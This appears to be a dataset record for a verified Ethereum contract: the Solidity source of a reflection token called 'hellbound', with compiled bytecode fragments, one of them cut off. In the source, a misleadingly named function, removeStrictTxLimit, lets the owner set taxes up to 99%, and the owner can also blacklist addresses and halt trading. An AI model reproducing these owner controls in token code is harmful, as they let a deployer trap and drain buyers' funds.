9550604088013561100f816113ff565b9450606088013561101f816113ff565b9350608088013567ffffffffffffffff8082111561103b578485fd5b6110478b838c01610ec0565b945060a08a013591508082111561105c578384fd5b506110698a828b01610ec0565b92505060c0880135801515811461107e578182fd5b8091505092959891949750929550565b6000806000606084860312156110a2578283fd5b83356110ad816113ff565b925060208401356110bd816113ff565b929592945050506040919091013590565b600080604083850312156110e0578182fd5b82356110eb816113ff565b946020939093013593505050565b60006020828403121561110a578081fd5b5035919050565b6000815180845260208085019450808401835b838110156111495781516001600160a01b031687529582019590820190600101611124565b509495945050505050565b6000815180845260208085019450808401835b8381101561114957815187529582019590820190600101611167565b6001600160a01b0391909116815260200190565b6001600160a01b03948516815292841660208401529083166040830152909116606082015260800190565b600060208252610f6f6020830184611111565b6000604082526111e86040830185611111565b82810360208401526111fa8185611111565b95945050505050565b6000608082526112166080830187611111565b82810360208401526112288187611154565b838103604085015261123a8187611154565b92505050821515606083015295945050505050565b60208082526014908201527310d417d19050d513d496480e881253959053125160621b604082015260600190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b60208082526024908201527f43505f464143544f5259203a20465245455a455f4455524154494f4e5f494e566040820152631053125160e21b606082015260800190565b6020808252601f908201527f43505f464143544f5259203a20434c4946465f524154455f494e56414c494400604082015260600190565b60208082526028908201527f43505f464143544f5259203a2050484153455f43414c4d5f4455524154494f4e60408201526717d253959053125160c21b606082015260800190565b60208082526022908201527f43505f464143544f5259203a20564553545f4455524154494f4e5f494e56414c604082015261125160f21b606082015260800190565b60208082526010908201526f1113d113d7d25392551250531256915160821b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b90815260200190565b6001600160a01b038116811461141457600080fd5b5056fea26469706673582212202c3b06bbf171ccc50b4d0ecf179ce40363dd10e7a2c08282d5d8b96eac5cca4f64736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 8,096 |
0x02cc2fdad06ce75eaf380d7a20b4a12686f1f834
|
/**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract hellbound is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "hellbound";
string private constant _symbol = "$Hell";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xa6a0CeC7fC4944fdF52852BB1b738E187891c6C9);
address payable private _marketingAddress = payable(0xa6a0CeC7fC4944fdF52852BB1b738E187891c6C9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function removeStrictTxLimit(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 99, "Buy tax must be between 0% and 99%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax must be between 0% and 99%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e1461065c578063e67bd64814610699578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a9059cbb146105a2578063bfd79284146105df578063c3c8cd801461061c578063c492f04614610633576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612eb6565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f87565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fdf565b61087b565b604051610264919061303a565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130b4565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130de565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130f9565b6108d0565b6040516102f7919061303a565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b60405161032291906130de565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d9190613168565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b6040516103789190613192565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131ad565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613206565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131ad565b610c51565b60405161041e91906130de565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b5061046560048036038101906104609190613233565b610df5565b005b34801561047357600080fd5b5061047c610ea5565b60405161048991906130de565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131ad565b610eab565b6040516104c691906130de565b60405180910390f35b3480156104db57600080fd5b506104e4610ec3565b6040516104f19190613192565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190613206565b610eec565b005b34801561052f57600080fd5b50610538610f9e565b60405161054591906130de565b60405180910390f35b34801561055a57600080fd5b50610563610fa4565b6040516105709190612f87565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613233565b610fe1565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190612fdf565b611080565b6040516105d6919061303a565b60405180910390f35b3480156105eb57600080fd5b50610606600480360381019061060191906131ad565b61109e565b604051610613919061303a565b60405180910390f35b34801561062857600080fd5b506106316110be565b005b34801561063f57600080fd5b5061065a600480360381019061065591906132bb565b611197565b005b34801561066857600080fd5b50610683600480360381019061067e919061331b565b6112d1565b60405161069091906130de565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb919061335b565b611358565b005b3480156106ce57600080fd5b506106e960048036038101906106e49190613233565b611553565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131ad565b6115f2565b005b61071c6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a09061340e565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd61342e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061348c565b9150506107ac565b5050565b60606040518060400160405280600981526020017f68656c6c626f756e640000000000000000000000000000000000000000000000815250905090565b600061088f6108886117b4565b84846117bc565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611987565b61099e846108e96117b4565b6109998560405180606001604052806028815260200161411560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f6117b4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220c9092919063ffffffff16565b6117bc565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a9061340e565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a9061340e565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc16117b4565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f6117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e81612270565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122dc565b9050919050565b610caa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e9061340e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e819061340e565b60405180910390fd5b674563918244f40000811115610ea257806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef46117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f789061340e565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f2448656c6c000000000000000000000000000000000000000000000000000000815250905090565b610fe96117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d9061340e565b60405180910390fd5b8060188190555050565b600061109461108d6117b4565b8484611987565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ff6117b4565b73ffffffffffffffffffffffffffffffffffffffff1614806111755750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661115d6117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b61117e57600080fd5b600061118930610c51565b90506111948161234a565b50565b61119f6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112239061340e565b60405180910390fd5b60005b838390508110156112cb5781600560008686858181106112525761125161342e565b5b905060200201602081019061126791906131ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112c39061348c565b91505061122f565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113606117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e49061340e565b60405180910390fd5b600084101580156113ff575060048411155b61143e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143590613547565b60405180910390fd5b60008210158015611450575060638211155b61148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906135d9565b60405180910390fd5b600083101580156114a1575060048311155b6114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d79061366b565b60405180910390fd5b600081101580156114f2575060638111155b611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906136fd565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b61155b6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df9061340e565b60405180910390fd5b8060178190555050565b6115fa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9061340e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee9061378f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390613821565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611893906138b3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197a91906130de565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ee90613945565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5e906139d7565b60405180910390fd5b60008111611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190613a69565b60405180910390fd5b611ab2610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b205750611af0610ec3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57601560149054906101000a900460ff16611baf57611b41610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba590613afb565b60405180910390fd5b5b601654811115611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90613b67565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c985750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613bf9565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d845760175481611d3984610c51565b611d439190613c19565b10611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a90613ce1565b60405180910390fd5b5b6000611d8f30610c51565b9050600060185482101590506016548210611daa5760165491505b808015611dc2575060158054906101000a900460ff16155b8015611e1c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e345750601560169054906101000a900460ff165b8015611e8a5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ee05750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0857611eee8261234a565b60004790506000811115611f0657611f0547612270565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580